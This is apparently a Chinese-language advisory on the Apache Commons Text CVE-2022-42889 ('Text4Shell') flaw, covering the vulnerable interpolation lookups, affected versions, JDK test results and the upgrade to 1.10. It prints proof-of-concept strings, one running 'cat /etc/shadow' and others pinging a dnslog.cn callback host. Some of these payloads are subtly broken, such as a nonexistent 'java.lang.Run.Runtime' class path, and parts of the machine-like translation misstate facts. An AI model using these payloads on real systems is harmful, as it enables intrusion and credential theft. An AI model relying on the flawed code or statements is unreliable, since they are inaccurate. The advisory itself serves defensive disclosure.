Apache Software Foundation (ASF) 发布了针对 Apache Commons Text 库中的严重漏洞的修复程序,该漏洞可导致远程代码执行。
由 Alvaro Munoz 发现的漏洞 CVE-2022-42889于 2022 年 10 月 13 日首次出现在Apache 开发人员列表中。但是,有关漏洞严重性和范围的详细信息仍在不断涌现,包括使用受影响库的易受攻击配置检测实际应用程序的任何示例。
该漏洞与Log4Shell 漏洞(Apache Log4j 2 中的漏洞)进行了比较,后者是一个流行的 Java 库,用于记录应用程序中的错误消息。然而,根据许多安全研究人员所做的分析(直到撰写本文时),它的影响似乎与 Log4Shell 漏洞不同。
关于 CVE-2022-42889 漏洞
CVE-2022-42889 源于 Commons Text 的变量插值功能的不安全实现。
插值器由 StringSubstitutor.createInterpolator() 方法创建,将允许 StringLookupFactory 中定义的字符串查找。这可以通过传递字符串“ ${prefix:name} ”来使用,其中前缀是上述查找。使用“script”、“dns”或“url”查找将允许精心制作的字符串在传递给插值器对象时执行任意脚本。
这类似于Log4Shell 漏洞的 PoC。
https://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html
CVE-2022-42889 影响 Apache Commons Text 版本 1.5 到 1.9。Apache 团队已经修复了该漏洞,并从 Commons Text 1.10 版开始发布了补丁。
rapid7 团队在以下 JDK 版本中测试了他们的概念验证——
JDK 1.8.0_341 - PoC 工作
JDK 9.0.4 - PoC 工作
JDK 10.0.2 - PoC 工作
JDK 11.0.16.1 - 警告但有效
JDK 12.0.2 - 警告但有效
JDK 13.0.2 - 警告但有效
JDK 14.0.2 - 警告但有效
JDK 15.0.2 - 失败
JDK 16.0.2 - 失败
JDK 17.0.4.1 - 失败
JDK 18.0.2.1 - 失败
JDK 19 - 失败
但是,JFrog 安全团队指出,由于 Nashorn 引擎被禁用,Java 15+ 用户可以安全地执行代码,因此${script}插值将不起作用。其他向量(DNS、URL)仍然可以使用。
PoC 代码类似于Log4Shell:
${script:javascript:java.lang.Run.Runtime.getRuntime().exec("cat /etc/shadow");}
PoC 漏洞利用
Rapid7 团队指出
具体代码片段不太可能存在于生产应用程序中,担心的是在某些应用程序中,`pocstring` 变量可能是攻击者控制的。从这个意义上说,该漏洞与 Log4Shell 相呼应。
但是,与 Log4j 中易受攻击的字符串替换相比,StringSubstitutor 插值器的使用范围要小得多,并且这种插值器的性质意味着将精心设计的输入输入到易受攻击的对象中的可能性比仅与 Log4Shell 中的此类精心设计的字符串交互的可能性要小。
称它为 Text4Shell 或 Text2Shell
我们已经看到很多人将此漏洞称为 Text4Shell 或 Text2Shell,因为它具有与 Log4Shell 相同类型的漏洞利用代码。Apache Commons Text 是一个广泛使用的库,但规模比 Log4J 小得多。
CVE-2022-42889 (Text4Shell / Text2Shell) 漏洞包括将恶意负载注入易受攻击的软件,这将要求 Apache Commons Text 从第三方来源、使用 DNS 或通过运行脚本获取值。
但是,在这种情况下,Apache Commons Text 默认不检查要处理的数据,这意味着如果在易受攻击的应用程序代码中没有实施过滤器,则可以执行恶意代码
推荐
由于该漏洞不像 Log4Shell 那样受到太大影响,因此我们也强烈建议将 Apache Commons Text 版本升级到固定的 verison1.10.0。
最近,Apache Commons Text 修复了一个代码执行漏洞。该漏洞是在处理恶意输入时引起的,攻击者可以利用该漏洞注入任意命令,从而实现远程代码执行。通过发送特制请求,攻击者可以利用此漏洞执行任意命令。跟踪为 CVE-2022-42889 (CVSS 9.8),缺陷严重性很重要。该错误已由Alvaro Munoz报告。
Apache Commons 是一个专注于可重用 Java 组件各个方面的 Apache 项目。Apache Commons Text 是一个专注于字符串算法的库。
“Apache Commons Text 执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找是:– “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值, 阅读项目的邮件列表。
该安全漏洞包括在易受攻击的 Commons Text 的变量插值功能上注入恶意负载,这将要求 Apache Commons Text 通过 DNS 请求或内联脚本从远程攻击者那里获取不受信任的输入。但是,在这种情况下,Apache Commons Text 默认不检查要处理的数据,这意味着如果在易受攻击的应用程序的代码中没有实施过滤器,则可以执行恶意代码。
该漏洞存在于 StringSubstitutor 插值器对象中。“当 StringSubstitutor与默认插值器 (StringSubstitutor.createInterpolator()) 一起使用时,将执行可能导致任意代码执行的字符串查找。”
特别是,如果不受信任的数据流入 StringSubstitutor.replace() 或 StringSubstitutor.replaceIn() 方法,攻击者将能够使用它们 ScriptStringLookup 来触发任意代码执行。”
CVE-2022-42889 影响 Apache Commons Text 版本 1.5 到 1.9。目前,Apache Commons Text 已在最新版本(1.10 版)中修复了该漏洞,请尽快安装未受影响的版本。
目前第一条经过有效负载测试,Apache Commons Text 版本 1.5 到 1.9是可以通过DNSlog返回响应的。
${prefix://XXXXX.dnslog.cn}
${script:javascript:java.lang.Run.Runtime.getRuntime().exec("ping XXXX.dnslog.cn");}
参考:
https://securityonline.info/cve-2022-42889-apache-commons-text-code-execution-vulnerability/
https://www.rapid7.com/ja/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
https://cyberwatch.fr/cve/cve-2022-42889-text4shell-comment-detecter-et-corriger-cette-vulnerabilite-sur-apache-commons-text/